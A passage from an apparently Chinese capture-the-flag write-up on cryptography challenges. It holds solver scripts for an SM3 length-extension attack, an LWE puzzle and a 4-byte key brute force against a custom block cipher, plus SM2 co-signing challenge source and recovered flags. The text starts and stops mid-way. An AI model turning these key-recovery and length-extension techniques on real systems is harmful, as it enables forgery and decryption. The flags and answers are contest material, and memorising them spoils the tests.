= zero_fill(hex(B ^ int(V[8:16], 16))[2:], 8) t3 = zero_fill(hex(C ^ int(V[16:24], 16))[2:], 8) t4 = zero_fill(hex(D ^ int(V[24:32], 16))[2:], 8) t5 = zero_fill(hex(E ^ int(V[32:40], 16))[2:], 8) t6 = zero_fill(hex(F ^ int(V[40:48], 16))[2:], 8) t7 = zero_fill(hex(G ^ int(V[48:56], 16))[2:], 8) t8 = zero_fill(hex(H ^ int(V[56:64], 16))[2:], 8) t=t1+t2+t3+t4+t5+t6+t7+t8 return t def SM3(plaintext): Vtemp=IV a=(len(plaintext)*4+1 ) % 512 #print(a) k=0 B=[] if a<=448: k=448-a elif a>448: k=512-a+448 #print(k) m=plaintext+"8"+"0"*int((k+1)/4-1)+zero_fill(str(hex(len(plaintext)*4))[2:],16) #print(m) block_len=int((len(plaintext)*4 + k + 65) / 512) #print(block_len) for i in range(0,block_len): B.append(m[128*i:128*i+128]) #分组 #print("B:",B) for i in range(0,block_len): Vtemp=CF(Vtemp,B[i]) return Vtemp def SM3_len_ex_ak(num_block,IV,plaintext): Vtemp=IV a=(len(plaintext)*4+1 ) % 512 #print(a) k=0 B=[] if a<=448: k=448-a elif a>448: k=512-a+448 #print(k) m=plaintext+"8"+"0"*int((k+1)/4-1)+zero_fill(str(hex(len(plaintext)*4+num_block*512))[2:],16) #print(m) block_len=int((len(plaintext)*4 + k + 65) / 512) #print(block_len) for i in range(0,block_len): B.append(m[128*i:128*i+128]) #分组 #print("B:",B) for i in range(0,block_len): Vtemp=CF(Vtemp,B[i]) return Vtemp IV="7380166f4914b2b9172442d7da8a0600a96f30bc163138aae38dee4db0fb0e4e" ############################################################################# IV2="c2427b818b1fb3b9e72e0ec8c60d101a17865842506e6b0052278a0c156d9e7a" num_block=1 counter = "51f18456" New_Counter = hex(int((bin(int(counter,16))[2:].zfill(32) + "1") + "0"*(448 - 32*8 - 1 - 4*8) + bin(36*8)[2:].zfill(64) , 2))[2:] + "ffffffff" print(New_Counter) print(SM3_len_ex_ak(1,IV2,"FFFFFFFF")) #flag{3WhlSlIw4tSOhbY52j6CMrUCAYSLfrS9} 初始谜题三(300 pts)题目: import sympy as sp import random # 设置参数 n = 16 # 向量长度 q = 251 # 模数 # 生成随机噪声向量e e = sp.Matrix(sp.randMatrix(n, 1, min=0, max=1)) # 噪声向量 # 生成随机n维私钥向量s和n*n矩阵A s = sp.Matrix(sp.randMatrix(n, 1, min=0, max=q - 1)) # 私钥向量 Temp = sp.Matrix(sp.randMatrix(n, n, min=0, max=q - 1)) # 中间变量矩阵Temp A = Temp.inv_mod(q) # 计算矩阵Temp在模 q 下的逆矩阵作为A # 计算n维公钥向量b b = (A * s + e) % q # 公钥向量b = A * s + e # 加密函数 def encrypt(message, A, b): m_bin = bin(message)[2:].zfill(n) # 将消息转换为16比特的二进制字符串 m = sp.Matrix([int(bit) for bit in m_bin]) # 转换为SymPy矩阵 x = sp.Matrix(sp.randMatrix(n, n, min=0, max=q // (n * 4))) # 随机产生一个n*n的矩阵x e1 = sp.Matrix(sp.randMatrix(n, 1, min=0, max=1)) # 随机产生一个n维噪声向量e c1 = (x * A) % q # 密文部分c1 = x * A c2 = (x * b + e1 + m * (q // 2)) % q # 密文部分c2 = x * b + e1 + m * q/2 return c1, c2 # 解密函数 def decrypt(c1, c2, s): m_dec = (c2 - c1 * s) % q m_rec = m_dec.applyfunc(lambda x: round(2 * x / q) % 2) # 还原消息 m_bin = ''.join([str(bit) for bit in m_rec]) # 将SymPy矩阵转换为二进制字符串 m_rec_int = int(m_bin, 2) # 将二进制字符串转换为整数 return m_rec_int # 测试加解密 message = random.randint(0, 2 ** n - 1) # 要加密的消息,随机生成一个16比特整数 c1, c2 = encrypt(message, A, b) # 加密 print("原始消息: ", message) print("公钥A=sp.", A) print("公钥b=sp.", b) print("密文c1=sp.", c1) print("密文c2=sp.", c2) decrypted_message = decrypt(c1, c2, s) print("解密后的消息: ", decrypted_message) # 输出解密 题目名字叫lwe,具体来说给了一些如下数据: 随机生成16维的01向量e随机生成16维的向量s以及16x16的可逆矩阵A,并计算: b=As+e将m转化为比特串,并进一步变为长度为16的01向量(也就是说m本身也只有2字节) 给出A、b、c1、c2,要求还原message并发送给他虽然说题目叫lwe,似乎也可以通过lwe的方法求出s来,但是很显眼的一点是维数仅仅为16,实在太小了,只需要琼剧2^16其中就一定有正确的e、e1了。 然而再仔细看发现有更离谱的一点,既然A、c1都给好了并且A可逆,那么x直接求就好了,然后就可以轻松得到: 而由于e1也是01向量,他对向量t的大小影响可以忽略不计,所以t中大于等于q/2的位置就是m中为1的位置,否则就是0。 exp: A = Matrix(ZZ,[[139, 63, 18, 202, 166, 185, 85, 108, 58, 90, 211, 248, 240, 44, 137, 39], [5, 230, 89, 226, 139, 24, 233, 20, 12, 108, 127, 11, 52, 64, 188, 156], [80, 61, 105, 3, 165, 96, 154, 40, 62, 103, 157, 75, 190, 101, 31, 239], [193, 100, 124, 216, 248, 95, 241, 196, 67, 192, 217, 114, 171, 248, 219, 169], [116, 71, 221, 105, 167, 153, 22, 124, 178, 45, 7, 183, 125, 8, 127, 123], [182, 162, 164, 184, 27, 148, 206, 73, 217, 86, 187, 137, 82, 150, 99, 65], [106, 60, 153, 91, 213, 41, 188, 92, 121, 246, 164, 223, 199, 85, 161, 25], [93, 97, 145, 31, 48, 36, 7, 110, 56, 47, 108, 79, 233, 186, 93, 181], [195, 98, 47, 147, 49, 40, 158, 89, 218, 8, 23, 118, 170, 19, 50, 17], [127, 95, 37, 48, 230, 244, 130, 37, 75, 125, 103, 154, 148, 218, 227, 178], [162, 235, 129, 44, 204, 228, 221, 130, 239, 36, 57, 38, 41, 74, 61, 155], [246, 11, 11, 97, 218, 57, 209, 72, 229, 27, 250, 73, 19, 64, 25, 62], [60, 162, 1, 110, 191, 130, 120, 227, 214, 98, 165, 245, 28, 55, 94, 190], [129, 212, 185, 156, 119, 239, 83, 221, 4, 174, 65, 218, 32, 211, 213, 223], [80, 218, 135, 245, 238, 127, 55, 68, 113, 145, 110, 59, 50, 177, 159, 146], [68, 239, 36, 166, 206, 23, 59, 126, 67, 152, 99, 189, 133, 113, 243, 198]]) b = Matrix(ZZ,[[88], [74], [219], [244], [81], [109], [81], [216], [125], [218], [170], [56], [152], [229], [204], [45]]) c1 = Matrix(ZZ,[[173, 2, 67, 11, 40, 80, 187, 38, 16, 226, 243, 79, 117, 127, 100, 113], [208, 231, 211, 196, 2, 146, 35, 2, 221, 119, 12, 25, 208, 152, 83, 201], [154, 43, 180, 76, 235, 5, 179, 196, 206, 171, 98, 145, 92, 144, 247, 98], [121, 145, 123, 232, 87, 78, 181, 145, 79, 166, 112, 169, 208, 102, 201, 63], [204, 141, 165, 225, 213, 137, 40, 43, 229, 151, 72, 237, 58, 15, 2, 31], [35, 114, 241, 31, 122, 123, 164, 231, 197, 89, 41, 236, 128, 22, 152, 82], [141, 133, 235, 79, 43, 120, 209, 231, 58, 85, 3, 44, 73, 245, 227, 62], [28, 158, 71, 41, 152, 32, 91, 200, 163, 46, 19, 121, 23, 209, 25, 55], [156, 17, 218, 146, 231, 242, 91, 76, 217, 57, 100, 212, 243, 87, 62, 159], [100, 111, 107, 62, 106, 72, 51, 79, 223, 93, 86, 145, 192, 21, 218, 243], [196, 250, 248, 166, 155, 39, 7, 93, 103, 54, 168, 188, 190, 104, 183, 64], [16, 131, 148, 193, 19, 149, 179, 212, 109, 170, 201, 168, 165, 167, 68, 25], [30, 222, 171, 32, 141, 105, 232, 104, 198, 53, 50, 157, 206, 165, 200, 42], [90, 149, 148, 112, 142, 228, 231, 119, 235, 248, 233, 9, 242, 102, 241, 93], [150, 32, 78, 183, 68, 249, 80, 165, 95, 229, 211, 0, 75, 14, 172, 139], [175, 69, 15, 100, 113, 63, 123, 71, 24, 250, 135, 232, 53, 32, 81, 117]]) c2 = Matrix(ZZ,[[18], [67], [187], [237], [99], [127], [128], [23], [83], [66], [64], [69], [7], [214], [43], [156]]) p = 251 A = Matrix(Zmod(p), A) c1 = Matrix(Zmod(p), c1) b = vector(b.T) c2 = vector(c2.T) x = c1*A^(-1) t = c2 - x*b m = "" for i in t: if(i >= p // 2): m += "1" else: m += "0" print(hex(int(m,2))) #21c4 第二部分:大型密码系统这一部分共有4个题目和一个最终挑战,题目之间是有顺序关系的,也就是要先做出某些题目,才能得到后续题目的附件、数据、登录密码之类的相关信息,具体来说这次挑战的先后顺序是: flag1和flag3可以同时挑战做出flag1可以开启flag2做出flag3可以开启flag4全部完成后可以开启最终挑战 flag1(600 pts)题目: passwordEncryptorV2.c: #include <stdio.h> #include <string.h> #include <openssl/sha.h> #define ROUND 16 //S-Box 16x16 int sBox[16] = { 2, 10, 4, 12, 1, 3, 9, 14, 7, 11, 8, 6, 5, 0, 15, 13 }; // 将十六进制字符串转换为 unsigned char 数组 void hex_to_bytes(const char* hex_str, unsigned char* bytes, size_t bytes_len) { size_t hex_len = strlen(hex_str); if (hex_len % 2 != 0 || hex_len / 2 > bytes_len) { fprintf(stderr, "Invalid hex string length.\n"); return; } for (size_t i = 0; i < hex_len / 2; i++) { sscanf(hex_str + 2 * i, "%2hhx", &bytes[i]); } } // 派生轮密钥 void derive_round_key(unsigned int key, unsigned char *round_key, int length) { unsigned int tmp = key; for(int i = 0; i < length / 16; i++) { memcpy(round_key + i * 16, &tmp, 4); tmp++; memcpy(round_key + i * 16 + 4, &tmp, 4); tmp++; memcpy(round_key + i * 16 + 8, &tmp, 4); tmp++; memcpy(round_key + i * 16 + 12, &tmp, 4); tmp++; } } // 比特逆序 void reverseBits(unsigned char* state) { unsigned char temp[16]; for (int i = 0; i < 16; i++) { unsigned char byte = 0; for (int j = 0; j < 8; j++) { byte |= ((state[i] >> j) & 1) << (7 - j); } temp[15 - i] = byte; } for (int i = 0; i < 16; i++) { state[i] = temp[i]; } } void sBoxTransform(unsigned char* state) { for (int i = 0; i < 16; i++) { int lo = sBox[state[i] & 0xF]; int hi = sBox[state[i] >> 4]; state[i] = (hi << 4) | lo; } } void leftShiftBytes(unsigned char* state) { unsigned char temp[16]; for (int i = 0; i < 16; i += 4) { temp[i + 0] = state[i + 2] >> 5 | (state[i + 1] << 3); temp[i + 1] = state[i + 3] >> 5 | (state[i + 2] << 3); temp[i + 2] = state[i + 0] >> 5 | (state[i + 3] << 3); temp[i + 3] = state[i + 1] >> 5 | (state[i + 0] << 3); } for (int i = 0; i < 16; i++) { state[i] = temp[i]; } } // 轮密钥加 void addRoundKey(unsigned char* state, unsigned char* roundKey, unsigned int round) { for (int i = 0; i < 16; i++) { for (int j = 0; j < 8; j++) { state[i] ^= ((roundKey[i + round * 16] >> j) & 1) << j; } } } // 加密函数 void encrypt(unsigned char* password, unsigned int key, unsigned char* ciphertext) { unsigned char roundKeys[16 * ROUND] = {}; // // 生成轮密钥 derive_round_key(key, roundKeys, 16 * ROUND); // 初始状态为16字节的口令 unsigned char state[16]; // 初始状态为16字节的密码 memcpy(state, password, 16); // 初始状态为密码的初始值 // 迭代加密过程 for (int round = 0; round < ROUND; round++) { reverseBits(state); sBoxTransform(state); leftShiftBytes(state); addRoundKey(state, roundKeys, round); } memcpy(ciphertext, state, 16); } void main() { unsigned char password[] = "pwd:xxxxxxxxxxxx"; // 口令明文固定以pwd:开头,16字节的口令 unsigned int key = 0xF0FFFFFF; // 4字节的密钥 unsigned char ciphertext[16]; // 16字节的状态 printf("Password: \n"); printf("%s\n", password); encrypt(password, key, ciphertext); // 输出加密后的结果 printf("Encrypted password:\n"); for (int i = 0; i < 16; i++) { printf("%02X", ciphertext[i]); } printf("\n"); } 题目基于一个对称加密,给出了其具体实现步骤。连接靶机之后会给出密文,要求求出password,来解压带密码的协同签名源码文件压缩包,压缩包内含有本题的flag值以及flag2的源码。 可以看出在有key的情况下,解密就是把整个加密过程逆一下,这一部分交给学长很快就写好了。 然而学长发现对于靶机给出的密文,用题目给定的0xF0FFFFFF当作key是解不出他要求的”pwd:”开头的password的,所以我猜测这个key只是个示例,实际上要用这个已知的开头来爆破4字节的key。4字节对于c来说似乎也不算很大,因此简单修改下解密部分就开爆了。但是,实际效果并不是很理想,如果要爆破完所有解空间的话,差不多需要2^16秒,这对于仅仅6h的比赛来说太长了,所以要考虑一些优化。而比起仔细查看代码来说,最简单的优化当然是直接用多进程来做。 可是我只用过python的多进程,并且考虑到python本身的速度,为了用个多进程把整个求解代码转成python实在是不太划算。可是比赛不出网,要查询资料不仅需要申请,时间也只限10min,还会对整个队伍的成绩产生影响,更不划算。所以想来想去也只能三个人都多开点窗口,然后从不同的位置开爆。 也算是一种多进程了。 然而这样做有意想不到的效果——我让学弟倒着爆破的那个窗口过了一段时间真的跑出了结果,这个题也就顺利解掉了。 实际上最后一轮提示中有提到,因为某些原因,key首字节一定是F,所以倒着爆才更加快;此外还有一些其他地方可以减少耗时。 这里就不仔细研究产生这些优化的原因了,多进程肯定是最有力的XD,做出来就行。 exp:(header.h就是题目加密源码里的函数) #include "header.h" void print(unsigned char* m) { for (int i = 0; i < 16; i++) { printf("%02X", m[i]); } printf("\n"); } int sBox_inv[16] = { 13, 4, 0, 5, 2, 12, 11, 8, 10, 6, 1, 9, 3, 15, 7, 14 }; void rightShiftBytes(unsigned char* state) { unsigned char temp[16]; for (int i = 0; i < 16; i += 4) { temp[i + 0] = state[i + 2] << 5 | (state[i + 3] >> 3); temp[i + 1] = state[i + 3] << 5 | (state[i + 0] >> 3); temp[i + 2] = state[i + 0] << 5 | (state[i + 1] >> 3); temp[i + 3] = state[i + 1] << 5 | (state[i + 2] >> 3); } for (int i = 0; i < 16; i++) { state[i] = temp[i]; } } void decrypt(unsigned char* password, unsigned int key, unsigned char* ciphertext) { unsigned char roundKeys[16 * ROUND] = {}; derive_round_key(key, roundKeys, 16 * ROUND); unsigned char state[16]; memcpy(state, ciphertext, 16); for (int round = ROUND - 1; round >= 0; round--) { addRoundKey(state, roundKeys, round); rightShiftBytes(state); sBoxTransform(state, sBox_inv); reverseBits(state); } memcpy(password, state, 16); } int main() { // cipher = "B17164A27E035012107D6F7B0454D51D" // cipher = "99F2980AAB4BE8640D8F322147CBA409" unsigned char password[] = "pwd:xxxxxxxxxxxx"; // 口令明文固定以pwd:开头,16字节的口令 unsigned char ciphertext[16]; // 16字节的状态 hex_to_bytes("99F2980AAB4BE8640D8F322147CBA409", ciphertext, 16); for (unsigned int key = 0; key < 0xFFFFFFFF; key++) { if ((key & 0xFFFF) == 0) printf("%d\n", key); decrypt(password, key, ciphertext); if (password[0] == 112 && password[1] == 119 && password[2] == 100 && password[3] == 58) { print(password); } } return 0; } flag2(900 pts)题目: co-signing_client.js: const form = ref({ password: "", msgdigest: "", }) const k1: any = ref(""); const submit = () => { isform.value.validate((valid: boolean) => { if (valid) { loading.value = true; let smPassword = ref(""); smPassword.value = sm3(form.value.password); // 客户端通过用户口令、消息摘要和用户私钥d1,计算客户端协同签名值 p1x, p1y, q1x, q1y, r1, s1 var { str_e, str_p1x, str_p1y, str_q1x, str_q1y, str_r1, str_s1, errMessage } = clientSign1(smPassword.value, form.value.msgdigest); if (errMessage) { ElMessage.error(errMessage) loading.value = false; return } let data = { q1x: str_q1x, q1y: str_q1y, e: str_e, r1: str_r1, s1: str_s1, p1x: str_p1x, p1y: str_p1y } // 客户端将 e, p1x, p1y, q1x, q1y, r1, s1发送给服务端 // 服务端用服务端私钥d2计算服务端协同签名值 s2, s3, r 发送给客户端 sign_param_send(data).then((res: any) => { // 客户端通过s2, s3, r,计算协同签名值 s let str_s: any = clientSign2(smPassword.value, res.s2, res.s3, res.r); if (str_s.errMessage) { ElMessage.error(errMessage) loading.value = false; return } ElMessage.success("协同签名成功"); signature_send({ client_sign: str_s }).then((res: any) => { qmz.value = str_s; loading.value = false; }).then((err: any) => { loading.value = false; }) }).catch((err: any) => { loading.value = false; }) } }) } const clientSign1: any = (str_d1: any, str_e: any) => { let d1 = new BN(str_d1, 16); // console.log("e",str_e) let e = new BN(str_e, 16); // console.log("e",e) const sm2: any = new elliptic.curve.short({ p: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF', a: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC', b: '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93', n: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123', g: [ '32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7', 'BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0' ] } as any); let n = new BN(sm2.n.toString(16), 16); let G = sm2.g; // generate random k1 const randomBytes = cryptoRandomStringAsync({ length: 64 }); k1.value = new BN(randomBytes as any, 16); while(k1.value.mod(n).isZero()){ const randomBytes = cryptoRandomStringAsync({ length: 64 }); k1.value = new BN(randomBytes as any, 16); } k1.value = k1.value.mod(n); // d1 = d1 mod n d1 = d1.mod(n); if (d1.isZero()) { let errMessage = "d1=0,签名失败" return { errMessage } } //P1 = ((d1)^(-1)) * G let tmp1 = d1.invm(n); let P1 = G.mul(tmp1); //Q1 = k1*G = (x, y) let Q1 = G.mul(k1.value); let x = new BN(Q1.getX().toString(16), 16); //r1 = x mod n let r1 = x.mod(n); if (r1.isZero()) { let errMessage = "r1=0,签名失败" return { errMessage } } //s1 = k1^(-1) * (e + d1^(-1) * r1) mod n tmp1 = d1.invm(n); let tmp2 = tmp1.mul(r1).mod(n); let tmp3 = tmp2.add(e).mod(n); tmp1 = k1.value.invm(n); let s1 = tmp1.mul(tmp3).mod(n); if (s1.isZero()) { let errMessage = "s1=0,签名失败" return { errMessage } } str_e = e.toString(16); // console.log("str_e",str_e) let str_p1x = P1.getX().toString(16); let str_p1y = P1.getY().toString(16); let str_q1x = Q1.getX().toString(16); let str_q1y = Q1.getY().toString(16); let str_r1 = r1.toString(16); let str_s1 = s1.toString(16); return { str_e, str_p1x, str_p1y, str_q1x, str_q1y, str_r1, str_s1 } } const clientSign2 = (str_d1: any, str_s2: any, str_s3: any, str_r: any) => { const sm2 = new elliptic.curve.short({ p: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF', a: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC', b: '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93', n: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123', g: [ '32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7', 'BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0' ] } as any); let d1 = new BN(str_d1, 16); let n = new BN(sm2.n.toString(16), 16); let s2 = new BN(str_s2, 16); let s3 = new BN(str_s3, 16); let r = new BN(str_r, 16); //s = d1*k1*s2 + d1*s3 -r mod n let tmp1 = d1.mul(k1.value).mod(n); let tmp2 = tmp1.mul(s2).mod(n); let tmp3 = d1.mul(s3).mod(n); tmp1 = tmp2.add(tmp3).mod(n); let s = tmp1.sub(r).mod(n); if (s.isZero()) { let errMessage = "s=0,签名失败" return { errMessage } } if (s.add(r).mod(n).isZero()) { let errMessage = "s=n-r,签名失败" return { errMessage } } let str_s = s.toString(16); if (str_s[0] == '-') { s = s.add(n).mod(n); str_s = s.toString(16); } return str_s; } co-signing_client.c: #include <stdio.h> #include <stdlib.h> #include <openssl/ec.h> #include <openssl/rand.h> #define SM2LEN 32 int error() { printf("Error.\n"); return 0; } int error_partial_verify() { printf("Error partial verify.\n"); return 0; } void print_flag2(const BIGNUM *d2) { char *hex_str = BN_bn2hex(d2); for (int i = 0; hex_str[i] != '\0'; i++) { if (hex_str[i] >= 'A' && hex_str[i] <= 'F') { hex_str[i] += 32; } } printf("flag2{%s}\n", hex_str); } typedef struct { char s2[SM2LEN * 2 + 1]; char s3[SM2LEN * 2 + 1]; char r[SM2LEN * 2 + 1]; int success; } Result; // 协同签名服务端签名算法 Result server(char* str_e,char* str_p1x,char* str_p1y,char* str_q1x,char* str_q1y,char* str_r1,char* str_s1){ Result res = {"", "", "", 0}; int rv = 1; BIGNUM *e,*a,*b,*p,*n,*x,*y; BIGNUM *d2,*r1,*s1,*p1x,*p1y,*q1x,*q1y; BIGNUM *u1,*u2,*xprime,*yprime,*k2,*k3,*x1,*y1,*r,*s2,*s3,*s,*tmp1,*tmp2,*tmp3; EC_GROUP* group; EC_POINT *generator,*G,*P,*P1,*Q1,*TMP; BN_CTX* bn_ctx = BN_CTX_new(); BN_CTX_start(bn_ctx); if (!bn_ctx) { error(); return res; } e = BN_CTX_get(bn_ctx); a = BN_CTX_get(bn_ctx); b = BN_CTX_get(bn_ctx); p = BN_CTX_get(bn_ctx); n = BN_CTX_get(bn_ctx); d2 = BN_CTX_get(bn_ctx); x = BN_CTX_get(bn_ctx); y = BN_CTX_get(bn_ctx); p1x = BN_CTX_get(bn_ctx); p1y = BN_CTX_get(bn_ctx); q1x = BN_CTX_get(bn_ctx); q1y = BN_CTX_get(bn_ctx); r1 = BN_CTX_get(bn_ctx); s1 = BN_CTX_get(bn_ctx); u1 = BN_CTX_get(bn_ctx); u2 = BN_CTX_get(bn_ctx); xprime = BN_CTX_get(bn_ctx); yprime = BN_CTX_get(bn_ctx); k2 = BN_CTX_get(bn_ctx); k3 = BN_CTX_get(bn_ctx); x1 = BN_CTX_get(bn_ctx); y1 = BN_CTX_get(bn_ctx); r = BN_CTX_get(bn_ctx); s2 = BN_CTX_get(bn_ctx); s3 = BN_CTX_get(bn_ctx); s = BN_CTX_get(bn_ctx); tmp1 = BN_CTX_get(bn_ctx); tmp2 = BN_CTX_get(bn_ctx); tmp3 = BN_CTX_get(bn_ctx); if ( !BN_hex2bn(&e, str_e) || !BN_hex2bn(&p1x, str_p1x) || !BN_hex2bn(&p1y, str_p1y) || !BN_hex2bn(&q1x, str_q1x) || !BN_hex2bn(&q1y, str_q1y) || !BN_hex2bn(&r1, str_r1) || !BN_hex2bn(&s1, str_s1) || !BN_hex2bn(&a, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC") || !BN_hex2bn(&b, "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93") || !BN_hex2bn(&p, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF") || !BN_hex2bn(&n, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123") || // d2 = ds (server key) !BN_hex2bn(&d2, "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") || !BN_hex2bn(&x, "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7") || !BN_hex2bn(&y, "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0") || !BN_rand_range(k2,n) || !BN_copy(k3, k2) ) { error(); return res; } // generate k2 in [1, n-1] while(BN_is_zero(k2)){ if ( !BN_rand_range(k2,n) || !BN_copy(k3, k2) ) { error(); return res; } } group = EC_GROUP_new_curve_GFp(p, a, b, bn_ctx); generator = EC_POINT_new(group); if (!generator) { error(); return res; } if (1 != EC_POINT_set_affine_coordinates_GFp(group, generator, x, y, bn_ctx)) { error(); return res; } if (1 != EC_GROUP_set_generator(group, generator, n, NULL)) { error(); return res; } G = EC_POINT_new(group); P = EC_POINT_new(group); P1 = EC_POINT_new(group); Q1 = EC_POINT_new(group); TMP = EC_POINT_new(group); // if r1=0 or s1=0, error if (BN_is_zero(r1) || BN_is_zero(s1)) { error(); return res; } // set P1 = (p1x, p1y) if (1 != EC_POINT_set_affine_coordinates_GFp(group, P1, p1x, p1y, bn_ctx)) { error(); return res; } // set Q1 = (q1x, q1y) if (1 != EC_POINT_set_affine_coordinates_GFp(group, Q1, q1x, q1y, bn_ctx)) { error(); return res; } //u1 = e * (s1^(-1)) mod n, u2 = r1 * (s1^(-1)) mod n if (!BN_mod_inverse(tmp1, s1, n, bn_ctx) || !BN_mod_mul(u1, e, tmp1, n, bn_ctx) || !BN_mod_mul(u2, r1, tmp1, n, bn_ctx) || !BN_mod(u1, u1, n, bn_ctx) || !BN_mod(u2, u2, n, bn_ctx) ) { error(); return res; } //u1*G + u2*P1 = (x', y') if (!EC_POINT_mul(group, TMP, u1, P1, u2, bn_ctx)) { error(); return res; } if (!EC_POINT_get_affine_coordinates_GFp(group, TMP, xprime, yprime, bn_ctx)) { error(); return res; } //verify r1 = x' mod n if (!BN_mod(xprime, xprime, n, bn_ctx)) { error(); return res; } if(BN_cmp(r1,xprime)) { error_partial_verify(); return res; } //k2*G + k3*Q1 = (x1, y1) if (!EC_POINT_mul(group, TMP, k2, Q1, k3, bn_ctx)) { error(); return res; } if (!EC_POINT_get_affine_coordinates_GFp(group, TMP, x1, y1, bn_ctx)) { error(); return res; } //r=(e+x1) mod n if (!BN_mod_add(r, e, x1, n, bn_ctx)) { error(); return res; } if (BN_is_zero(r)) { error(); return res; } strncpy(res.r, BN_bn2hex(r), 2*SM2LEN+1); //s2 = d2 * k3 mod n, s3 = d2 * (r+k2) mod n if (!BN_mod_mul(s2, d2, k3, n, bn_ctx) || !BN_mod_add(tmp1, r, k2, n, bn_ctx) || !BN_mod_mul(s3, d2, tmp1, n, bn_ctx) || !BN_mod(s2, s2, n, bn_ctx) || !BN_mod(s3, s3, n, bn_ctx) ) { error(); return res; } printf("s2: %s\n",BN_bn2hex(s2)); printf("s3: %s\n",BN_bn2hex(s3)); strncpy(res.s2, BN_bn2hex(s2), 2*SM2LEN+1); strncpy(res.s3, BN_bn2hex(s3), 2*SM2LEN+1); // flag2 的格式如下:flag2{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx},大括号中的内容为 16 进制格式(字母小写)的 d2。 print_flag2(d2); rv = 0; BN_CTX_free(bn_ctx); return rv; } // 计算公钥P int getPublicKey(char *str_d2, char *str_p1x, char *str_p1y) { int rv = 1; BIGNUM *negone, *a, *b, *p, *n, *x, *y; BIGNUM *d2, *p1x, *p1y, *px, *py; BIGNUM *tmp1, *tmp2; EC_GROUP *group; EC_POINT *generator, *G, *P, *P1; BN_CTX *bn_ctx = BN_CTX_new(); BN_CTX_start(bn_ctx); if (!bn_ctx) { error(); return 1; } negone = BN_CTX_get(bn_ctx); a = BN_CTX_get(bn_ctx); b = BN_CTX_get(bn_ctx); p = BN_CTX_get(bn_ctx); n = BN_CTX_get(bn_ctx); d2 = BN_CTX_get(bn_ctx); x = BN_CTX_get(bn_ctx); y = BN_CTX_get(bn_ctx); p1x = BN_CTX_get(bn_ctx); p1y = BN_CTX_get(bn_ctx); px = BN_CTX_get(bn_ctx); py = BN_CTX_get(bn_ctx); tmp1 = BN_CTX_get(bn_ctx); tmp2 = BN_CTX_get(bn_ctx); if ( !BN_hex2bn(&d2, str_d2) || !BN_hex2bn(&p1x, str_p1x) || !BN_hex2bn(&p1y, str_p1y) || !BN_hex2bn(&a, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC") || !BN_hex2bn(&b, "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93") || !BN_hex2bn(&p, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF") || !BN_hex2bn(&n, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123") || !BN_hex2bn(&x, "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7") || !BN_hex2bn(&y, "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0") ) { error(); return 1; } group = EC_GROUP_new_curve_GFp(p, a, b, bn_ctx); generator = EC_POINT_new(group); if (!generator) { error(); return 1; } if (1 != EC_POINT_set_affine_coordinates_GFp(group, generator, x, y, bn_ctx)) { error(); return 1; } if (1 != EC_GROUP_set_generator(group, generator, n, NULL)) { error(); return 1; } G = EC_POINT_new(group); P = EC_POINT_new(group); P1 = EC_POINT_new(group); // set P1 = (p1x, p1y) if (1 != EC_POINT_set_affine_coordinates_GFp(group, P1, p1x, p1y, bn_ctx)) { error(); return 1; } //P = ((d2)^(-1)) * P1 - G if (!BN_zero(tmp1) || !BN_one(tmp2) || !BN_mod_sub(negone, tmp1, tmp2, n, bn_ctx) ) { error(); return 1; } if (!BN_mod_inverse(tmp1, d2, n, bn_ctx) || !EC_POINT_mul(group, P, negone, P1, tmp1, bn_ctx)) { error(); return 1; } if (!EC_POINT_get_affine_coordinates_GFp(group, P, px, py, bn_ctx)) { error(); return 1; } printf("Px: %s\n", BN_bn2hex(px)); printf("Py: %s\n", BN_bn2hex(py)); rv = 0; BN_CTX_free(bn_ctx); return rv; } int main(int argc, char *argv[]) { int rv = 1; if (server(argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], argv[7])) { error(); return rv; } rv = 0; return rv; } 这个题目代码特别特别的长,具体细节可以慢慢读。 .js文件是交互部分,梳理一下主要交互流程是: 用户输入口令和消息摘要,并发送给服务器用户本地计算出如下数据,这些数据可以在发送包的负载里找到:e, p1x, p1y, q1x, q1y, 